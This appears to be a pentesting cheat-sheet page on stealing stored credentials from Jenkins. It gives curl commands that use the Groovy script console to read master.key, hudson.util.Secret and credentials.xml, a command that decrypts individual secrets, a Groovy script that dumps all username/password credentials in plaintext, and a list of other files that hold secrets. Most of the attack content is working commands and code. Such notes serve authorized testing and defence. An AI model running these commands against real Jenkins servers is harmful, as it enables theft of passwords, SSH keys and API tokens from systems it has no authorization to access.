Skip to content

Jenkins Credential Extraction

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

Jenkins stores credentials (SSH keys, passwords, API tokens, secret text) encrypted on disk using AES-128-ECB with a master key. With access to the Jenkins home directory (through a shell or file read vulnerability), these credentials can be decrypted offline. For gaining access to Jenkins, see Groovy console RCE or CVE-2024-23897 file read.

Required Files

Three files from the Jenkins home directory are needed to decrypt stored credentials. The default home is /var/lib/jenkins/ on Linux and C:\ProgramData\Jenkins\.jenkins\ on Windows.

  • secrets/master.key: the master encryption key (plaintext hex string).
  • secrets/hudson.util.Secret: the AES key encrypted with the master key (binary file).
  • credentials.xml: stored credentials in XML format with encrypted values.

Extracting Files via Groovy Console

If the script console is accessible, read the files directly without needing a shell.

┌──(kali㉿kali)-[~]
└─$ curl -s -d 'script=println+new+File("/var/lib/jenkins/secrets/master.key").text' http://$TARGET_IP:$PORT/script
┌──(kali㉿kali)-[~]
└─$ curl -s -d 'script=println+new+File("/var/lib/jenkins/secrets/hudson.util.Secret").bytes.encodeBase64().toString()' http://$TARGET_IP:$PORT/script

hudson.util.Secret is a binary file. Encode it as base64 for transfer, then decode on your attacker machine.

┌──(kali㉿kali)-[~]
└─$ curl -s -d 'script=println+new+File("/var/lib/jenkins/credentials.xml").text' http://$TARGET_IP:$PORT/script

credentials.xml contains entries like <password>{AQAAABAAAAAQx...}</password>. The curly-brace-wrapped values are the encrypted secrets.

Decrypting via Groovy Console

The fastest approach if the script console is still accessible: Jenkins itself can decrypt its own credentials.

┌──(kali㉿kali)-[~]
└─$ curl -s -d 'script=println(hudson.util.Secret.decrypt("{AQAAABAAAAAQx...}"))' http://$TARGET_IP:$PORT/script
SuperSecretPassword123

Replace the {AQAAABAAAAAQx...} string with the encrypted value from credentials.xml. Each credential entry needs to be decrypted individually.

To dump all credentials at once:

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import jenkins.model.Jenkins

def creds = CredentialsProvider.lookupCredentials(
  StandardUsernamePasswordCredentials.class,
  Jenkins.instance, null, null
)
creds.each { c ->
  println("ID: ${c.id}")
  println("Username: ${c.username}")
  println("Password: ${c.password.plainText}")
  println("---")
}

Paste this into the script console to dump all username/password credentials with their plaintext values.

Offline Decryption

When the script console is not available (for example, after gaining filesystem access through a different vulnerability), decrypt the credentials offline using jenkins-credentials-decryptor.

┌──(kali㉿kali)-[~]
└─$ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret credentials.xml

Multiple offline decryption tools exist on GitHub. The decryption logic: derive the AES key from master.key, use it to decrypt hudson.util.Secret, then use that decrypted key to decrypt each credential value from credentials.xml.

Other Credential Locations

Credentials are not only in credentials.xml. Job configurations can also contain inline secrets.

  • jobs/*/config.xml: job configuration files with embedded passwords, SSH keys, and environment variable secrets.
  • users/*/config.xml: user configuration files with API tokens.
  • secrets/initialAdminPassword: initial admin password (if setup wizard was used).

References